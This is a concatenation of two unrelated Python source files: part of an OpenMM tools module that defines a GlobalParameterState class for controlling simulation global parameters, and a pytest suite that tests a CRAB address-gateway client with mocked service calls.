>>> my_composable_state.lambda_bonds = 1.0 >>> compound_state = CompoundThermodynamicState(thermodynamic_state, composable_states=[my_composable_state]) >>> state_system = compound_state.get_system() >>> state_system.getForce(0).getGlobalParameterDefaultValue(0) # lambda_bonds global parameter. 1.0 >>> compound_state.lambda_bonds = 0.0 >>> state_system = compound_state.get_system() >>> state_system.getForce(0).getGlobalParameterDefaultValue(0) # lambda_bonds global parameter. 0.0 >>> context = compound_state.create_context(openmm.VerletIntegrator(1.0*unit.femtoseconds)) >>> context.getParameter('lambda_bonds') 0.0 >>> compound_state.lambda_bonds = 1.0 >>> compound_state.apply_to_context(context) >>> context.getParameter('lambda_bonds') 1.0 You can express enslave global parameters to a mathematical expression involving arbitrary variables. >>> compound_state.set_function_variable('lambda', 1.0) >>> compound_state.lambda_bonds = GlobalParameterFunction('2*(lambda - 0.5) * step(lambda - 0.5)') >>> for l in [0.5, 0.75, 1.0]: ... compound_state.set_function_variable('lambda', l) ... print(compound_state.lambda_bonds) 0.0 0.5 1.0 If you need to control similar forces with the same state object, this parent class provides a suffix mechanism to control different global variables with the same state object. This allows to reuse the same logic to control multiple objects >>> # Add a second custom force using similar global parameters. >>> custom_force = openmm.CustomBondForce('lambda_bonds_mysuffix*20000*(r-0.15)^2;') >>> parameter_idx = custom_force.addGlobalParameter('lambda_bonds_mysuffix', 1.0) # Default value is 1.0. >>> bond_idx = custom_force.addBond(0, 1, []) >>> force_idx = system.addForce(custom_force) >>> # Create a state controlling the modified global parameter. >>> my_composable_state = MyComposableState(parameters_name_suffix='mysuffix', lambda_bonds=0.0) >>> my_composable_state.lambda_bonds_mysuffix = 1.0 >>> my_composable_state.gamma_mysuffix is None True >>> my_composable_state.apply_to_system(system) >>> # The unmodified parameter becomes unaccessible. >>> my_composable_state.apply_to_system(system) >>> my_composable_state.lambda_bonds Traceback (most recent call last): ... AttributeError: This state does not control lambda_bonds but lambda_bonds_mysuffix. Note also in the example above that the forces don't need to define all the global parameters controlled by the state. The state object will perform some check to ensure that you won't try to set an undefined parameter. >>> my_composable_state.gamma_mysuffix = 2 >>> my_composable_state.apply_to_system(system) Traceback (most recent call last): ... openmmtools.states.GlobalParameterError: Could not find global parameter gamma_mysuffix in the system. """ # This constant can be overwritten by inheriting classes to # raise a custom exception class when an error is encountered. _GLOBAL_PARAMETER_ERROR = GlobalParameterError def __init__(self, parameters_name_suffix=None, **kwargs): self._initialize(parameters_name_suffix=parameters_name_suffix, **kwargs) @classmethod def from_system(cls, system, parameters_name_suffix=None): """Static constructor reading the state from an OpenMM System. Parameters ---------- system : openmm.System An OpenMM ``System`` object defining a non-empty subset of global parameters controlled by this state. parameters_name_suffix : str, optional If specified, the state will search for a modified version of the global parameters with the name ``parameter_name + '_' + parameters_name_suffix``. Returns ------- The GlobalParameterState object representing the state of the system. Raises ------ GlobalParameterStateError If the same parameter has different values in the system, or if the system has no lambda parameters. """ state_parameters = {} for force, parameter_name, parameter_id in cls._get_system_controlled_parameters( system, parameters_name_suffix): if parameter_id >= force.getNumGlobalParameters(): raise GlobalParameterStateError(f'Attempted to access system parameter {parameter_name} (id {parameter_id}) that does not exist in {force.__class__.__name__}') parameter_value = force.getGlobalParameterDefaultValue(parameter_id) # Check that we haven't already found # the parameter with a different value. if parameter_name in state_parameters: if state_parameters[parameter_name] != parameter_value: err_msg = ('Parameter {} has been found twice (Force {}) with two values: ' '{} and {}').format(parameter_name, force.__class__.__name__, parameter_value, state_parameters[parameter_name]) raise cls._GLOBAL_PARAMETER_ERROR(err_msg) else: state_parameters[parameter_name] = parameter_value # Check that the system can be controlled by this state.. if len(state_parameters) == 0: err_msg = 'System has no global parameters controlled by this state.' raise cls._GLOBAL_PARAMETER_ERROR(err_msg) # Create and return the GlobalParameterState. The constructor of # GlobalParameterState takes the parameters without the suffix so # we left them undefined in the constructor and assign the attributes. state = cls(parameters_name_suffix) for parameter_name, parameter_value in state_parameters.items(): setattr(state, parameter_name, parameter_value) return state # ------------------------------------------------------------------------- # Function variables # ------------------------------------------------------------------------- def get_function_variable(self, variable_name): """Return the value of the function variable. Function variables are _not_ global parameters but rather variables entering mathematical expressions specified with ``GlobalParameterFunction``, which can be use to enslave global parameter to arbitrary variables. Parameters ---------- variable_name : str The name of the function variable. Returns ------- variable_value : float The value of the function variable. """ try: variable_value = self._function_variables[variable_name] except KeyError: err_msg = 'Unknown function variable {}'.format(variable_name) raise self._GLOBAL_PARAMETER_ERROR(err_msg) return variable_value def set_function_variable(self, variable_name, new_value): """Set the value of the function variable. Function variables are _not_ global parameters but rather variables entering mathematical expressions specified with ``GlobalParameterFunction``, which can be use to enslave global parameter to arbitrary variables. Parameters ---------- variable_name : str The name of the function variable. new_value : float The new value for the variable. """ forbidden_variable_names = set(self._parameters) if variable_name in forbidden_variable_names: err_msg = ('Cannot have an function variable with the same name ' 'of the predefined global parameter {}.'.format(variable_name)) raise self._GLOBAL_PARAMETER_ERROR(err_msg) # Check that the new value is a scalar, if not (np.isreal(new_value) and np.isscalar(new_value)): err_msg = 'Only integers and floats can be assigned to a function variable.' raise self._GLOBAL_PARAMETER_ERROR(err_msg) self._function_variables[variable_name] = new_value # ------------------------------------------------------------------------- # Operators # ------------------------------------------------------------------------- def __eq__(self, other): """Equality operator. Two GlobalParameterState are equal if they control the same global parameters and they all have the same values. This way the operator preserves the commutative property. """ # Check if other is a global parameter state. if not isinstance(other, GlobalParameterState): return False # Check that they define the same parameters. if not set(self._parameters) == set(other._parameters): return False # Check that all values are the same is_equal = True for parameter_name in self._parameters: self_value = getattr(self, parameter_name) other_value = getattr(other, parameter_name) is_equal = is_equal and self_value == other_value return is_equal def __ne__(self, other): # TODO: we can safely remove this when dropping support for Python 2 return not self == other def __str__(self): return str(self._parameters) # ------------------------------------------------------------------------- # Global parameters descriptor class. # ------------------------------------------------------------------------- # The global parameter descriptor makes it easy for the user to # create their own state classes. The set of controlled parameters is # dynamically discovered by _get_controlled_parameters() by checking # which descriptors are GlobalParameter objects. class GlobalParameter(object): """Descriptor for a global parameter. Parameters ---------- parameter_name : str The name of the global parameter. standard_value : float The value of the global parameter in the standard state. This is used to define the concept of compatible states (i.e. whether a ``System`` or ``Context`` can be transformed from a state to another). validator : callable, optional A function to call before setting a new value with signature ``validator(self, instance, new_value) -> validated_value``. It is also possible to define this through the ``validator`` decorator. """ def __init__(self, parameter_name, standard_value, validator=None): self.parameter_name = parameter_name self.standard_value = standard_value self.validator_func = validator def __get__(self, instance, owner_class=None): self._check_controlled(instance) return instance._get_global_parameter_value(self.parameter_name, self) def __set__(self, instance, new_value): self._check_controlled(instance) instance._set_global_parameter_value(self.parameter_name, new_value, self) def validator(self, validator): return self.__class__(self.parameter_name, self.standard_value, validator) def _check_controlled(self, instance): """Raise GlobalParameterError if the parameter is not controlled by the state. If the state uses a parameter name suffix, the normal parameter name is not accessible. """ if instance._parameters_name_suffix is not None: suffixed_parameter_name = self.parameter_name + '_' + instance._parameters_name_suffix err_msg = 'This state does not control {} but {}.'.format( self.parameter_name, suffixed_parameter_name) raise AttributeError(err_msg) # ------------------------------------------------------------------------- # Internal usage: IComposableState interface # ------------------------------------------------------------------------- def apply_to_system(self, system): """Set the state of the system to this. Parameters ---------- system : openmm.System The system to modify. Raises ------ GlobalParameterError If the system does not defined some of the global parameters controlled by this state. """ parameters_applied = set() for force, parameter_name, parameter_id in self._get_system_controlled_parameters( system, self._parameters_name_suffix): parameter_value = getattr(self, parameter_name) if parameter_value is None: err_msg = 'The system parameter {} is not defined in this state.' raise self._GLOBAL_PARAMETER_ERROR(err_msg.format(parameter_name)) else: if parameter_id >= force.getNumGlobalParameters(): raise GlobalParameterStateError(f'Attempted to access system parameter {parameter_name} (id {parameter_id}) that does not exist in {force.__class__.__name__}') parameters_applied.add(parameter_name) force.setGlobalParameterDefaultValue(parameter_id, parameter_value) # Check that we set all the defined parameters. for parameter_name in self._get_controlled_parameters(self._parameters_name_suffix): if (self._parameters[parameter_name] is not None and parameter_name not in parameters_applied): err_msg = 'Could not find global parameter {} in the system.' raise self._GLOBAL_PARAMETER_ERROR(err_msg.format(parameter_name)) def check_system_consistency(self, system): """Check if the system is in this state. It raises a GlobalParameterError if the system is not consistent with this state. Parameters ---------- system : openmm.System The system to test. Raises ------ GlobalParameterError If the system is not consistent with this state. """ system_state = self.__class__.from_system(system, self._parameters_name_suffix) # Check if parameters are all the same. if self != system_state: err_msg = ('Consistency check failed:\n' '\tSystem parameters {}\n' '\t{} parameters {}') class_name = self.__class__.__name__ raise self._GLOBAL_PARAMETER_ERROR(err_msg.format(system_state, class_name, self)) def apply_to_context(self, context): """Put the Context into this state. Parameters ---------- context : openmm.Context The context to set. Raises ------ GlobalParameterError If the context does not have the required global parameters. """ context_parameters = context.getParameters() # Set the global parameters in Context. for parameter_name in self._parameters: parameter_value = getattr(self, parameter_name) if parameter_value is None: # Check that Context does not have this parameter. if parameter_name in context_parameters: err_msg = 'Context has parameter {} which is undefined in this state.' raise self._GLOBAL_PARAMETER_ERROR(err_msg.format(parameter_name)) continue try: context.setParameter(parameter_name, parameter_value) except Exception: err_msg = 'Could not find parameter {} in context' raise self._GLOBAL_PARAMETER_ERROR(err_msg.format(parameter_name)) def _standardize_system(self, system): """Standardize the given system. Set all global parameters of the system their standard value. Parameters ---------- system : openmm.System The system to standardize. Raises ------ GlobalParameterError If the system is not consistent with this state. """ # Collect all the global parameters' standard values. standard_values = {} controlled_parameters = self._get_controlled_parameters(self._parameters_name_suffix) for parameter_name, parameter_descriptor in controlled_parameters.items(): standard_values[parameter_name] = parameter_descriptor.standard_value # Create a standard state. standard_state = copy.deepcopy(self) for parameter_name, standard_value in standard_values.items(): # Skip undefined parameters. if getattr(standard_state, parameter_name) is not None: setattr(standard_state, parameter_name, standard_value) # Standardize the system. standard_state.apply_to_system(system) def _on_setattr(self, standard_system, attribute_name, old_global_parameter_state): """Check if the standard system needs changes after a state attribute is set. Parameters ---------- standard_system : openmm.System The standard system before setting the attribute. attribute_name : str The name of the attribute that has just been set or retrieved. old_global_parameter_state : GlobalParameterState A copy of the composable state before the attribute was set. Returns ------- need_changes : bool True if the standard system has to be updated, False if no change occurred. """ # There are no attributes that can be set that can alter the standard system, # but if a parameter goes from defined to undefined, we should raise an error. old_attribute_value = getattr(old_global_parameter_state, attribute_name) new_attribute_value = getattr(self, attribute_name) if (old_attribute_value is None) != (new_attribute_value is None): err_msg = 'Cannot set the parameter {} in the system from {} to {}'.format( attribute_name, old_attribute_value, new_attribute_value) # Set back old value to maintain a consistent state in case the exception # is catched. If this attribute was associated to a GlobalParameterFunction, # we need to retrieve the original function object before setting. old_attribute_value = old_global_parameter_state._get_global_parameter_value( attribute_name, resolve_function=None) setattr(self, attribute_name, old_attribute_value) raise self._GLOBAL_PARAMETER_ERROR(err_msg) return False def _find_force_groups_to_update(self, context, current_context_state, memo): """Find the force groups whose energy must be recomputed after applying self. Parameters ---------- context : Context The context, currently in `current_context_state`, that will be moved to this state. current_context_state : ThermodynamicState The full thermodynamic state of the given context. This is guaranteed to be compatible with self. memo : dict A dictionary that can be used by the state for memoization to speed up consecutive calls on the same context. Returns ------- force_groups_to_update : set of int The indices of the force groups whose energy must be computed again after applying this state, assuming the context to be in `current_context_state`. """ # Cache information about system force groups. # We create a dictionary "memo" mapping parameter_name -> list of force groups to update. if len(memo) == 0: system = context.getSystem() system_parameters = self._get_system_controlled_parameters(system, self._parameters_name_suffix) for force, parameter_name, _ in system_parameters: # Keep track of valid parameters only. if self._parameters[parameter_name] is not None: try: memo[parameter_name].append(force.getForceGroup()) except KeyError: memo[parameter_name] = [force.getForceGroup()] # Find lambda parameters that will change. force_groups_to_update = set() for parameter_name, force_groups in memo.items(): self_parameter_value = getattr(self, parameter_name) current_parameter_value = getattr(current_context_state, parameter_name) if self_parameter_value != current_parameter_value: force_groups_to_update.update(force_groups) return force_groups_to_update # ------------------------------------------------------------------------- # Internal usage: Attributes handling # ------------------------------------------------------------------------- @classmethod def _get_controlled_parameters(cls, parameters_name_suffix=None): """Return a set of the global parameters controlled by the state class. This is constructed dynamically by introspection gathering all the descriptors that belong to the GlobalParameter class. Parameters ---------- parameters_name_suffix : str, optional If specified, this returns the set of parameter names with the name suffix. Returns ------- controlled_parameters : dict of str -> GlobalParameter A map from the name of the controlled parameter to the GlobalParameter descriptor handling it. """ if parameters_name_suffix is None: suffix = '' else: suffix = '_' + parameters_name_suffix # TODO just use inspect.getmembers when dropping Python 2 which automatically resolves the MRO. # controlled_parameters = {name + suffix: descriptor for name, descriptor in inspect.getmembers(cls) # if isinstance(descriptor, cls.GlobalParameter)} controlled_parameters = {name + suffix: descriptor for c in inspect.getmro(cls) for name, descriptor in c.__dict__.items() if isinstance(descriptor, cls.GlobalParameter)} return controlled_parameters def _validate_global_parameter(self, parameter_name, parameter_value, descriptor=None): """Return the validated parameter value using the descriptor validator. Parameters ---------- parameter_name : str Parameter name (with eventual suffix) to validate. parameter_value : float Parameter value to validate. If a GlobalParameterFunction is associated to the parameter, this must be evaluated before calling this. descriptor : GlobalParameterState.GlobalParameter, optional If None, the functions automatically looks for the descriptor associated to this parameter and calls its validator (if any). This search is skipped if this argument is provided. Returns ------- validated_value : float The validated value. Raises ------ KeyError If parameter_name is not controlled by this state. """ if descriptor is None: # Get the descriptors of all controlled parameters. controlled_parameters = self._get_controlled_parameters(self._parameters_name_suffix) # Call validator, before setting the parameter. This raises KeyError. descriptor = controlled_parameters[parameter_name] if descriptor.validator_func is not None: parameter_value = descriptor.validator_func(descriptor, self, parameter_value) return parameter_value def _get_global_parameter_value(self, parameter_name, descriptor=None, resolve_function=True): """Retrieve the current value of a global parameter. Parameters ---------- parameter_name : str Parameter name (with eventual suffix) to validate. descriptor : GlobalParameterState.GlobalParameter, optional If None, and the parameter is associated to a GlobalParameterFunction, the functions automatically looks for the descriptor associated to this parameter and calls its validator (if any). This search is skipped if this argument is provided. Default is None. resolve_function : bool, optional If False and the parameter is associated to a GlobalParameterFunction, the function is not evaluated (and its result is not validated), and the GlobalParameterFunction object is returned instead. Default is True. Returns ------- parameter_value : float The parameter value. Raises ------ KeyError If parameter_name is not controlled by this state. """ parameter_value = self._parameters[parameter_name] if resolve_function and isinstance(parameter_value, GlobalParameterFunction): parameter_value = parameter_value(self._function_variables) # If the value is generated through a mathematical expression, # we validate the value after the expression is evaluated rather # than on setting. parameter_value = self._validate_global_parameter(parameter_name, parameter_value, descriptor) return parameter_value def _set_global_parameter_value(self, parameter_name, new_value, descriptor=None): """Set the value of a global parameter. Parameters ---------- parameter_name : str Parameter name (with eventual suffix) to validate. new_value : float or GlobalParameterFunction The new parameter value. descriptor : GlobalParameterState.GlobalParameter, optional If None, and the parameter is not a GlobalParameterFunction, the functions automatically looks for the descriptor associated to this parameter and calls its validator (if any). This search is skipped if this argument is provided. Raises ------ KeyError If parameter_name is not controlled by this state. """ # Check if the parameter is defined and raise KeyError otherwise. if parameter_name not in self._parameters: raise KeyError(parameter_name) # If the value is generated through a mathematical expression, # we validate the value after the expression is evaluated rather # than on setting. if not isinstance(new_value, GlobalParameterFunction): new_value = self._validate_global_parameter(parameter_name, new_value, descriptor) self._parameters[parameter_name] = new_value def __getattr__(self, key): """Handles global parameters with a suffix.""" # __getattr__ is called only if the item is not found in the # usual ways, so we don't need to handle GlobalParameter here. try: parameter_value = self._get_global_parameter_value(key) except KeyError: # Parameter not found, fall back to normal behavior. parameter_value = super(GlobalParameterState, self).__getattribute__(key) return parameter_value def __setattr__(self, key, value): """Handles global parameters with a suffix.""" # Check if the object has been initialized and we can # start resolving dynamically suffixed parameters. if '_parameters_name_suffix' in self.__dict__ and self._parameters_name_suffix is not None: try: self._set_global_parameter_value(key, value) except KeyError: pass else: return # This is not a "suffixed" parameter. Fallback to normal behavior. super(GlobalParameterState, self).__setattr__(key, value) @classmethod
codeparrot/github-code-clean
import six import pytest from unittest.mock import Mock from crabpy.gateway.exception import ( GatewayRuntimeException, GatewayResourceNotFoundException ) from crabpy.gateway.crab import ( Gewest, Provincie, Gemeente, Deelgemeente, Taal, Bewerking, Organisatie, Aardsubadres, Aardadres, Aardgebouw, Aardwegobject, Aardterreinobject, Statushuisnummer, Statussubadres, Statusstraatnaam, Statuswegsegment, Geometriemethodewegsegment, Statusgebouw, Geometriemethodegebouw, Herkomstadrespositie, Straat, Huisnummer, Postkanton, Wegobject, Wegsegment, Terreinobject, Perceel, Gebouw, Metadata, Subadres, Adrespositie ) class TestCrabGateway: def test_list_gewesten(self, crab_gateway, crab_service): crab_service.ListGewesten.return_value = Mock( GewestItem=[ Mock(GewestId=1, TaalCodeGewestNaam='NL', GewestNaam='Vlaams') ] ) res = crab_gateway.list_gewesten() assert isinstance(res, list) assert isinstance(res[0], Gewest) def test_get_gewest_by_id(self, crab_gateway, crab_service): crab_service.GetGewestByGewestIdAndTaalCode.return_value = Mock( GewestId=2, ) res = crab_gateway.get_gewest_by_id(2) assert isinstance(res, Gewest) assert res.id == 2 assert isinstance(res.centroid, tuple) assert isinstance(res.bounding_box, tuple) def test_get_gewest_by_unexisting_id(self, crab_gateway, crab_service): crab_service.GetGewestByGewestIdAndTaalCode.side_effect = ( GatewayResourceNotFoundException ) with pytest.raises(GatewayResourceNotFoundException): crab_gateway.get_gewest_by_id(-1) def test_list_gemeenten_default(self, crab_gateway, crab_service): crab_service.GetGewestByGewestIdAndTaalCode.return_value = Mock( GewestId=2, ) crab_service.ListGemeentenByGewestId.return_value = Mock( GemeenteItem=[ Mock(GemeenteId=1, NISGemeenteCode=10000, TaalCode='NL', TaalCodeGemeenteNaam='NL') ] ) res = crab_gateway.list_gemeenten() assert isinstance(res, list) assert isinstance(res[0], Gemeente) assert res[0].gewest.id == 2 def test_list_gemeenten_vlaanderen(self, crab_gateway, crab_service): crab_service.ListGemeentenByGewestId.return_value = Mock( GemeenteItem=[ Mock(GemeenteId=1, NISGemeenteCode=10000, TaalCode='NL', TaalCodeGemeenteNaam='NL') ] ) gewest = Gewest(2) res = crab_gateway.list_gemeenten(gewest) assert isinstance(res, list) assert isinstance(res[0], Gemeente) assert res[0].gewest.id == 2 def test_list_provincies(self, crab_gateway): gewest = Gewest(1) res = crab_gateway.list_provincies(gewest) assert isinstance(res, list) gewest = Gewest(3) res = crab_gateway.list_provincies(gewest) assert isinstance(res, list) gewest = Gewest(2) res = crab_gateway.list_provincies(gewest) assert isinstance(res, list) assert isinstance(res[0], Provincie) assert res[0].gewest.id == 2 gewest = 2 res = crab_gateway.list_provincies(gewest) assert isinstance(res, list) assert isinstance(res[0], Provincie) assert res[0].gewest.id == 2 def test_get_provincie_by_id(self, crab_gateway): res = crab_gateway.get_provincie_by_id(10000) assert isinstance(res, Provincie) assert res.niscode == 10000 res = crab_gateway.get_provincie_by_id(20001) assert isinstance(res, Provincie) assert res.niscode == 20001 res = crab_gateway.get_provincie_by_id(20002) assert isinstance(res, Provincie) assert res.niscode == 20002 res = crab_gateway.get_provincie_by_id(30000) assert isinstance(res, Provincie) assert res.niscode == 30000 res = crab_gateway.get_provincie_by_id(40000) assert isinstance(res, Provincie) assert res.niscode == 40000 res = crab_gateway.get_provincie_by_id(50000) assert isinstance(res, Provincie) assert res.niscode == 50000 res = crab_gateway.get_provincie_by_id(60000) assert isinstance(res, Provincie) assert res.niscode == 60000 res = crab_gateway.get_provincie_by_id(70000) assert isinstance(res, Provincie) assert res.niscode == 70000 res = crab_gateway.get_provincie_by_id(80000) assert isinstance(res, Provincie) assert res.niscode == 80000 res = crab_gateway.get_provincie_by_id(90000) assert isinstance(res, Provincie) assert res.niscode == 90000 def test_get_provincie_by_unexisting_id(self, crab_gateway): with pytest.raises(GatewayResourceNotFoundException): crab_gateway.get_provincie_by_id(-1) def test_list_gemeenten_by_provincie(self, crab_gateway, crab_service): crab_service.GetGewestByGewestIdAndTaalCode.return_value = Mock( GewestId=2 ) crab_service.ListGemeentenByGewestId.return_value = Mock( GemeenteItem=[ Mock(GemeenteId=1, NISGemeenteCode=10000, TaalCode='NL', TaalCodeGemeenteNaam='NL') ] ) provincie = Provincie(10000, 'Antwerpen', Gewest(2)) res = crab_gateway.list_gemeenten_by_provincie(provincie) assert isinstance(res, list) assert isinstance(res[0], Gemeente) assert str(res[0].niscode)[0] == '1' provincie = 10000 res = crab_gateway.list_gemeenten_by_provincie(provincie) assert isinstance(res, list) assert isinstance(res[0], Gemeente) assert str(res[0].niscode)[0] == '1' def test_get_gemeente_by_id(self, crab_gateway, crab_service): crab_service.GetGemeenteByGemeenteId.return_value = Mock( GemeenteId=1, GewestId=1, BeginBewerking=1, BeginOrganisatie=1 ) res = crab_gateway.get_gemeente_by_id(1) assert isinstance(res, Gemeente) assert res.id == 1 def test_get_gemeente_by_id_with_string(self, crab_gateway, crab_service): crab_service.GetGemeenteByGemeenteId.side_effect = ( GatewayRuntimeException(None, None) ) with pytest.raises(GatewayRuntimeException): crab_gateway.get_gemeente_by_id('gent') def test_get_gemeente_by_unexisting_id(self, crab_gateway, crab_service): crab_service.GetGemeenteByGemeenteId.return_value = None with pytest.raises(GatewayResourceNotFoundException): crab_gateway.get_gemeente_by_id(-1) def test_get_gemeente_by_niscode(self, crab_gateway, crab_service): crab_service.GetGemeenteByNISGemeenteCode.return_value = Mock( GemeenteId=1, GewestId=1, NisGemeenteCode=11001, BeginBewerking=1, BeginOrganisatie=1 ) res = crab_gateway.get_gemeente_by_niscode(11001) assert isinstance(res, Gemeente) assert res.niscode == 11001 def test_get_gemeente_by_unexisting_niscode(self, crab_gateway, crab_service): crab_service.GetGemeenteByNISGemeenteCode.return_value = None with pytest.raises(GatewayResourceNotFoundException): crab_gateway.get_gemeente_by_niscode(-1) def test_list_deelgemeenten(self, crab_gateway): res = crab_gateway.list_deelgemeenten() assert isinstance(res, list) assert isinstance(res[0], Deelgemeente) def test_list_deelgemeenten_wrong_gewest(self, crab_gateway, crab_service): with pytest.raises(ValueError): crab_gateway.list_deelgemeenten(1) def test_list_deelgemeenten_by_gemeente(self, crab_gateway, crab_service): crab_service.GetGemeenteByNISGemeenteCode.return_value = Mock( GemeenteId=1, GewestId=1, BeginBewerking=1, BeginOrganisatie=1 ) res = crab_gateway.list_deelgemeenten_by_gemeente(45062) assert isinstance(res, list) assert len(res) == 2 assert isinstance(res[0], Deelgemeente) gemeente = Gemeente(1, None, 45062, None) res = crab_gateway.list_deelgemeenten_by_gemeente(gemeente) assert isinstance(res, list) assert len(res) == 2 assert isinstance(res[0], Deelgemeente) def test_get_deelgemeente_by_id(self, crab_gateway): res = crab_gateway.get_deelgemeente_by_id('45062A') assert isinstance(res, Deelgemeente) assert res.id == '45062A' def test_get_deelgemeente_by_unexisting_id(self, crab_gateway): with pytest.raises(GatewayResourceNotFoundException): crab_gateway.get_deelgemeente_by_id(-1) def test_list_talen(self, crab_gateway, crab_service): crab_service.ListTalen.return_value = Mock(CodeItem=[Mock()]) res = crab_gateway.list_talen() assert isinstance(res, list) assert isinstance(res[0], Taal) def test_list_bewerkingen(self, crab_gateway, crab_service): res = crab_gateway.list_bewerkingen() assert isinstance(res, list) assert isinstance(res[0], Bewerking) def test_list_organisaties(self, crab_gateway, crab_service): res = crab_gateway.list_organisaties() assert isinstance(res, list) assert isinstance(res[0], Organisatie) def test_list_aardsubadressen(self, crab_gateway, crab_service): crab_service.ListAardSubadressen.return_value = Mock(CodeItem=[Mock()]) res = crab_gateway.list_aardsubadressen() assert isinstance(res, list) assert isinstance(res[0], Aardsubadres) def test_list_aardadressen(self, crab_gateway, crab_service): crab_service.ListAardAdressen.return_value = Mock(CodeItem=[Mock()]) res = crab_gateway.list_aardadressen() assert isinstance(res, list) assert isinstance(res[0], Aardadres) def test_list_aardgebouwen(self, crab_gateway, crab_service): crab_service.ListAardGebouwen.return_value = Mock(CodeItem=[Mock()]) res = crab_gateway.list_aardgebouwen() assert isinstance(res, list) assert isinstance(res[0], Aardgebouw) def test_list_aarwegobjecten(self, crab_gateway, crab_service): crab_service.ListAardWegobjecten.return_value = Mock(CodeItem=[Mock()]) res = crab_gateway.list_aardwegobjecten() assert isinstance(res, list) assert isinstance(res[0], Aardwegobject) def test_list_aardterreinobjecten(self, crab_gateway, crab_service): crab_service.ListAardTerreinobjecten.return_value = Mock( CodeItem=[Mock()] ) res = crab_gateway.list_aardterreinobjecten() assert isinstance(res, list) assert isinstance(res[0], Aardterreinobject) def test_list_statushuisnummers(self, crab_gateway, crab_service): crab_service.ListStatusHuisnummers.return_value = Mock( CodeItem=[Mock()] ) res = crab_gateway.list_statushuisnummers() assert isinstance(res, list) assert isinstance(res[0], Statushuisnummer) def test_list_statussubadressen(self, crab_gateway, crab_service): crab_service.ListStatusSubadressen.return_value = Mock( CodeItem=[Mock()] ) res = crab_gateway.list_statussubadressen() assert isinstance(res, list) assert isinstance(res[0], Statussubadres) def test_list_statusstraatnamen(self, crab_gateway, crab_service): crab_service.ListStatusStraatnamen.return_value = Mock( CodeItem=[Mock()] ) res = crab_gateway.list_statusstraatnamen() assert isinstance(res, list) assert isinstance(res[0], Statusstraatnaam) def test_list_statuswegsegmenten(self, crab_gateway, crab_service): crab_service.ListStatusWegsegmenten.return_value = Mock( CodeItem=[Mock()] ) res = crab_gateway.list_statuswegsegmenten() assert isinstance(res, list) assert isinstance(res[0], Statuswegsegment) def test_list_geometriemethodewegsegmenten(self, crab_gateway, crab_service): crab_service.ListGeometriemethodeWegsegmenten.return_value = Mock( CodeItem=[Mock()] ) res = crab_gateway.list_geometriemethodewegsegmenten() assert isinstance(res, list) assert isinstance(res[0], Geometriemethodewegsegment) def test_list_statusgebouwen(self, crab_gateway, crab_service): crab_service.ListStatusGebouwen.return_value = Mock(CodeItem=[Mock()]) res = crab_gateway.list_statusgebouwen() assert isinstance(res, list) assert isinstance(res[0], Statusgebouw) def test_list_gemetriemethodegebouwen(self, crab_gateway, crab_service): crab_service.ListGeometriemethodeGebouwen.return_value = Mock( CodeItem=[Mock()] ) res = crab_gateway.list_geometriemethodegebouwen() assert isinstance(res, list) assert isinstance(res[0], Geometriemethodegebouw) def test_list_herkomstadrespositie(self, crab_gateway, crab_service): crab_service.ListHerkomstAdresposities.return_value = Mock( CodeItem=[Mock()] ) res = crab_gateway.list_herkomstadresposities() assert isinstance(res, list) assert isinstance(res[0], Herkomstadrespositie) def test_list_straten(self, crab_gateway, crab_service): crab_service.ListStraatnamenWithStatusByGemeenteId.return_value = Mock( StraatnaamWithStatusItem=[Mock()] ) res = crab_gateway.list_straten(1) assert isinstance(res, list) assert isinstance(res[0], Straat) gemeente = Gemeente(1, None, None, None) res = crab_gateway.list_straten(gemeente) assert isinstance(res, list) assert isinstance(res[0], Straat) def test_list_straten_empty(self, crab_gateway, crab_service): crab_service.ListStraatnamenWithStatusByGemeenteId.return_value = Mock( StraatnaamWithStatusItem=[] ) res = crab_gateway.list_straten(0) assert isinstance(res, list) assert len(res) == 0 def test_get_straat_by_id(self, crab_gateway, crab_service): crab_service.GetStraatnaamWithStatusByStraatnaamId.return_value = Mock( StraatnaamId=1, BeginBewerking=1, BeginOrganisatie=1 ) res = crab_gateway.get_straat_by_id(1) assert isinstance(res, Straat) assert res.id == 1 def test_get_straat_by_unexisting_id(self, crab_gateway, crab_service): crab_service.GetStraatnaamWithStatusByStraatnaamId.return_value = None with pytest.raises(GatewayResourceNotFoundException): crab_gateway.get_straat_by_id(-1) def test_list_huisnummers_by_straat(self, crab_gateway, crab_service): crab_service.ListHuisnummersWithStatusByStraatnaamId.return_value = ( Mock(HuisnummerWithStatusItem=[Mock(HuisnummerId=1)]) ) res = crab_gateway.list_huisnummers_by_straat(1) assert isinstance(res, list) assert isinstance(res[0], Huisnummer) straat = Straat(1, None, None, None, None, None, None, None) res = crab_gateway.list_huisnummers_by_straat(straat) assert isinstance(res, list) assert isinstance(res[0], Huisnummer) def test_list_huisnummers_by_straat_empty(self, crab_gateway, crab_service): crab_service.ListHuisnummersWithStatusByStraatnaamId.return_value = ( Mock(HuisnummerWithStatusItem=[]) ) res = crab_gateway.list_huisnummers_by_straat(0) assert isinstance(res, list) assert len(res) == 0 def test_list_huisnummers_by_perceel(self, crab_gateway, crab_service): crab_service.ListHuisnummersWithStatusByIdentificatorPerceel\ .return_value = Mock( HuisnummerWithStatusItem=[Mock(HuisnummerId=1)] ) crab_service.GetHuisnummerWithStatusByHuisnummerId.return_value = ( Mock(HuisnummerId=1, BeginBewerking=1, BeginOrganisatie=1) ) res1 = crab_gateway.list_huisnummers_by_perceel("13040C1747/00G002") assert isinstance(res1, list) assert isinstance(res1[0], Huisnummer) perceel = Perceel('13040C1747/00G002') res2 = crab_gateway.list_huisnummers_by_perceel(perceel) assert isinstance(res2, list) assert isinstance(res2[0], Huisnummer) assert [p.id for p in res1] == [p.id for p in res2] def test_list_huisnummers_by_perceel_empty(self, crab_gateway, crab_service): crab_service.ListHuisnummersWithStatusByIdentificatorPerceel\ .return_value = Mock(HuisnummerWithStatusItem=[]) res = crab_gateway.list_huisnummers_by_perceel("13040A0000/00A001") assert isinstance(res, list) assert len(res) == 0 def test_get_huisnummer_by_id(self, crab_gateway, crab_service): crab_service.GetHuisnummerWithStatusByHuisnummerId.return_value = Mock( HuisnummerId=1, BeginBewerking=1, BeginOrganisatie=1 ) res = crab_gateway.get_huisnummer_by_id(1) assert isinstance(res, Huisnummer) assert res.id == 1 def test_get_huisnummer_by_unexisting_id(self, crab_gateway, crab_service): crab_service.GetHuisnummerWithStatusByHuisnummerId.return_value = None with pytest.raises(GatewayResourceNotFoundException): crab_gateway.get_huisnummer_by_id(-1) def test_get_huisnummer_by_nummer_and_straat(self, crab_gateway, crab_service): crab_service.GetHuisnummerWithStatusByHuisnummer.return_value = Mock( HuisnummerId=1, 